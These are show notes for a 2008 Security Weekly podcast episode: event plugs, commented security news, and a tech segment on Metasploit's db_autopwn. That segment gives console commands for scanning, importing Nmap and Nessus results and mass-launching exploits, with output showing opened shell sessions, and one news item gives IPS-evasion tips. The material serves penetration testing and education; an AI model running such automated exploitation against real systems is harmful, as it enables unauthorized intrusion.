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Live from the G-Unit Studios Welcome to Security Weekly, Episode 124 for September 25th, 2008

Welcome to Security Weekly, a show for security professionals, by security professionals.

  • Security Weekly SANS Click-Through - Go there, register for fabulous SANS training! Go now!
  • ICE (Integrated Cyber Exercise) - Oct. 1-3 at SANS Las Vegas! - Now featuring observers from the the Air Force Cyber Command (P), Air Force Information Operations Center and United States Air Force Warfare Center. Paul and Larry have Team names: The Steadfast Buccaneers and the The Network Ninja Assassins!
  • NS2008! Paul giving keynote: Things That Go Bump In The Network: Embedded Device (In)Security and teaching SEC535, Network Security Projects Using Hacked Wireless Routers! Don't forget our live podcast immediately following!
  • ChicagoCon - October 27 - November 1, Talks by Ed Skoudis, Gregory Conti West Point, Author of "Security Data Visualization", Daniel V. Hoffman CTO SMobile Systems, EH-Net Columnist, Billy Rios/John Walton Microsoft Pen Testers (Blue Hat)

Episode Media

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Tech Segment: Automating Exploitation With Metasploit's db_autopwn

There is tremendous value in identifying vulnerabilities in your network, whether from the outside looking in, or the inside looking out. I like to try to automate this process as best I can, then use manual methods to further verify my work. For example, lets say I want to quickly verify the results from an Nmap or Nessus scan, and see if any of the Windows hosts are vulnerable to common Microsoft exploits. I can use Metasploit to do this, as it will test for the common remotely exploitable Windows vulnerabilities.

The first step is to setup Metasploit with a database module and create a database:

msf > load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
msf > db_create mynetwork
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: mynetwork
msf >

From here, I have many options. I can import Nmap results from a previous scan using the XML results (-oX):

msf > db_import_nmap_xml mynetwork.xml

Using the db_nmap module I can run Nmap directly from Metasploit and populate the database:

msf > db_nmap -sS -T4 -O
[*] exec: "/usr/local/bin/nmap" "-sS" "-T4" "-O" "" "-oX" "/tmp/dbnmap.29736.0"
NMAP: Starting Nmap 4.76 ( http://nmap.org ) at 2008-09-25 09:05 EDT

I can now launch exploits against known targets, but only by open port (since we ran Nmap and only collected the open port information):

msf > db_autopwn -p -e

-p means exploit the vulnerabilities according to open port, and -e gives the "exploit" command. When I do this, I give Metasploit a lot of work to do:

[*] Launching exploit/netware/smb/lsass_cifs (19/727) against
[*] Launching exploit/windows/http/badblue_passthru (20/727) against
[-] Exploit failed: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
[*] Started bind handler
[*] Trying target BadBlue 2.72b Universal...
[*] Server may not be vulnerable.
[*] Calling the vulnerable function...
[*] Successfully removed /config/password.txt
[*] Command shell session 1 opened ( ->
[*] Launching exploit/windows/iis/ms01_023_printer (22/727) against
[*] Started bind handler

727 possible exploit vectors! That took a while. So, I decided to run Nessus against my network, then import the Nessus results:

msf > db_import_nessus_nbe windows.nbe

Now I run db_autopwn, and tell it to select modules based on the vulnerability reference:

msf > db_autopwn -x -e

This produces much better results:

msf > sessions -l

Active sessions

  Id  Description    Tunnel                                     
  --  -----------    ------                                     
  1   Command shell ->  
  2   Command shell ->  
  3   Command shell ->   
  4   Command shell ->   

msf > sessions -i 2
[*] Starting interaction with 2...

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Interview - Core Security Technologies Product Update

Stories Of Interest

PDF Attack Packs - [Larry] - Secure computing has discovered a collection of PDf attacks in the wild. What does this mean? Patch your Adobe Reader (and other readers too!). I've been working on some metadata stuff (go figure), and it is fairly easy to determine OS, PDF generator and version, as well as timeline. It will be real easy for an attacker to determine this info and deliver an appropriate attack.

Xerox taking printer security seriously? - [Larry] - This is a refreshing turn of events. Xerox announced a vulnerability in the WorkCentre multifunction devices, as the Samba server contained on them had a remote code execution condition (as seen with some of the Samba tree). They've acknowledged it, and provided a software update. Now the next challenge - how do you get them patched? There is no auto update for printers.

Aruba Mobility Controller Vuln? - [Larry] Aruba includes a default X.509 certificate in their mobility controller, which is the same on every device. Of Course! Aruba responds with verbiage from the system documentation, and from the support website, indicating that the cert should be changed, and that it is there for demonstration purposes. they even advice that a new cert is a good thing to do. Now, I don;t see this as a huge issue - almost all vendors that deliver appliances that I know of either pre-populate a cert, or generate a self signed one at install- which at that point, which is the lesser of two evils? You should always be putting up good certs on your boxes, but we all know that many don't and just run with the default! At least Aruba clearly advises customers to change the cert, and gives them the ability to do so - unlike, say MS RDP?

Nessus Released Virtual Appliance - [Paul Asadoorian] - One stop shopping vulnerability scanner. This is really smart, virtualization is where its at, and its important to be flexible, Many vuln scan vendors offer traditional software and even hardware solutions, but I believe that a VM is the best options in many cases. Why? Flexibily primarily, being able to stand up a Nessus scanner on any VM is handy, for the pen tester especially.

Cisco releases a ton of Patches - [Paul Asadoorian] - While this is your everyday, average vulnerability announcement, don't forget a couple of things: 1) Cisco routers run the Internet (primarily) 2) We talked a few weeks ago about shell code being available 3) Since they are embedded devices, most people don't patch right away (maintenance can be tricky, even if you are redundant). 4) Many devices are exposed to the Internet because they are outside the firewall, by design. To me, this is a recipe for disaster...

IDS is not going to die, but while will people start actually using an IPS for Prevention? - [Paul Asadoorian] - This heavily influenced study uncovered some interesting things.

  • Cisco is the IPS market leader, so to all blackhats and good intentioned security researchers, this is a good place to focus evasion efforts.
  • Even though deployed inline, most are not blocking any traffic - When will the business case for actually blocking traffic be made? Why is IPS to widley unsuccessful in the enterprise?
  • People don't update their filters! - This means that as an attacker, use the most recent versions of the exploit, maybe even the oldest, but stay away from anything in between. Not only use the latest exploits, but stay up-to-date with all of your tools that contain evasion techniques (ala exploit frameworks and payload generators).

Is manual compilation a problem? - [Paul Asadoorian] - While some say you will go blind, and others are convinced you will develop hair in your hands, is manual compilation a bad thing? I think it depends. I really try to stick to the package tree as best I can, but with so much software out there, it can be very hard, er difficult. So, what to do? Most distributions have a "bleeding edge" tree that you can tie into, OS X keeps things separate (MacPorts installs in /opt/local/ for example), so there are some ways around it. Really and truly evaluate the need to install non-distrobution maintained software, as it can come back to bite you in the end.

Porn Operators Hijack Pages on AARP Website - All I have to say is LOL. and there is a joke in here about male enhancement drugs, but I just can't come "UP" with one ;-)

10 Great Gadgets for Work and....HACKING! - [Paul Asadoorian] - Interesting little article describing some of the latest gadgets. I really want to test the security of these devices, fuzzing the wireless drivers, find CSRF holes in the web server, and maybe even a remote exploit (or two). So many things are wireless now! I mean, I scold people who discuss the Wifi SD card, but then I'm like thats kinda cool, I really want one, and the hacker in me wants to break it. There is really no point to this story, other than cool and hopefully some good things to come...

The security Catalyst gets robed - [Larry] - While on the road, their motorhome was broken into and computer gear stolen. Santa was very up front instating that while they did practice a good deal of safe computing practices, there were still some data loss issues. I bring this up, because, even as security pros, we make mistakes too! I for one, had a debian box on my home network (exposed to the internet too), that was behind on patches - including the Kaminisky DNS patch. It can happen to the best of us. The other thing to note - both of these happened at a "home" location, where your corporate workers may work from occasionally, with their corporate laptops. It's time to begin thinking about how to secure your mobile workforce while at home, if you haven't already. Why? Because you've don a great job on your security investments at your corporate offices, and the weakest link (both physically and technologically) is likely at the home office... see blog post and discussion for more.

Compliance Checklist != Security - [Larry] - No, it just means that you can pass an audit by demonstrating that you have stuff on the list, and not hat you are following best practices. As an example, HIPAA specifies that sensitive data must be encrypted over a public network. At that ROT 13 would be acceptable! With PCI, they still appear to allow the use of WEP, which is acceptable under the checklist, but we all know WEP can be broken quite easily.

NeoPwn - [Larry] - Cool! A hacktop in a phone with Backtrack based on openmoko